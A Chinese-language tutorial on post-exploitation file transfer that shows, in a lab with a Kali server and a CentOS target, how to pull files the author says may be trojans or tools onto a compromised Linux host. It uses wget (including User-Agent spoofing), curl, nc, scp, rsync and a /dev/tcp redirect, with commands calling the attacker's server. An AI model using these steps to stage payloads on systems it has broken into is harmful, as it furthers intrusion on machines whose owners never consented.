后渗透是指已对目标服务器有shell交互后的操作,通常包含权限维持、提权、内网渗透、一键拿域控。
本篇文章主要讲解后渗透准备工作——下载文件的方式,文件可以是木马、工具等等(任意文件皆可),为了方便演示,文件为test.txt。
准备工作
首先需要架设服务器,将要下载的文件部署在服务器上,笔者用的服务器为Kali Linux架设,ip地址是192.168.8.111,被控端是Centos,ip地址是192.168.8.112
服务器端架设完成,后文会演示Linux许多的下载方法。
下载文件
Wget
用于从网络上下载文件的一个工具(Linux自带,Windows需要去官网下载安装,与我们下载直接违背,所以Windows篇并没有提)
使用方法:
第一种——普通下载
wget http://192.168.8.111/test/test.txt
第二种——伪造UA下载
首先来看一下正常下载的UA
删掉test.txt文件重新下载,输入命令:
wget --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" http://192.168.8.111/test/test.txt
然后再查看Kali Linux的Wireshark捕获的数据包
可以看到成功修改掉UA,其实wget还有许多功能,不过对于被控机进行下载不需要太多方式,只需要简单的下载即可,而且wget只有后台下载时才会产生日志文件,可以说是Linux中的一个下载神器
NC
NetCat,功能很多就不介绍了,简要写下如何通过NC进行下载
使用方法:
Kali Linux端输入命令:nc -lvp 8888 < test.txt
Centos端输入命令:
nc 192.168.8.111 8888 > test.txt
会显示空白,其实已经传输完成了,另起终端就可以查看
然后只需要终端nc就可以了,在Kali Linux端可以看到传输
Curl
利用URL语法在命令行下工作的文件传输工具
使用方法:
Centos端输入命令:curl -O http://192.168.8.111/test/test.txt(注意:大写的o)
可以看到下载成功,curl的功能如同wget一样,也可以进行修改UA,这里就不再演示
SSH
建立在应用层基础上的安全协议,专为远程登录会话和其他网络服务提供安全性的协议
本次需要用到的是scp命令,scp是基于SSH登录进行安全的远程文件拷贝,所以需要确保SSH服务是正常运行的
输入命令:
service sshd start
可以看到是正常运行状态
使用方法:
第一种——本地复制到远程
在Kali Linx端输入命令:
scp /var/www/html/test/test.txt root@192.168.8.112:/root
第一次连接会询问无法检测远程主机的真实性,是否需要继续连接,输入yes即可,往后再次连接就不会询问
第二种——将远程文件复制到本地
如果用Kali Linux做服务器的话,首先需要修改下配置文件(默认Kali Linx中SSH登录是禁用root用户的),输入命令:
vim /etc/ssh/sshd_config,添加一条PermitRootLogin yes
然后重启服务即可
然后在Centos端输入命令:
scp root@192.168.8.111:/var/www/html/test/test.txt /root
Rsync
Rsync是Linux系统中一个镜像备份工具,可以远程同步,文件复制,默认系统自带且运行
使用方法:
第一种——远程同步
在Kali Linux端输入命令:
rsync -r /var/www/html/test (Kali Linux的目录)192.168.8.112:/var/www/html/(远程主机被同步的目录)
在Centos端查看同步的目录
可以看到整个目录都进行了同步
第二种——利用SSH
Kali Linux输入命令:
rsync -av test.txt -e ssh root@192.168.8.112:/root
-e选项可以指定命令,所以说实际上是用SSH做的传输
有趣的是Rsync还可以列出远程主机的目录,命令为:rsync 192.168.8.112:/var/www/html/,笔者曾在某项目驻场遇到过一台主机未授权访问Rsync,甚至可以直接进行同步,拿到一个高危
总结
可以说Linux的文件下载方式不是很多,当然也有一些其他方法笔者试验没有成功,比如通过cat test.txt > /dev/tcp/192.168.8.112/8888传输就没有成功,不过按照理论上是可行的。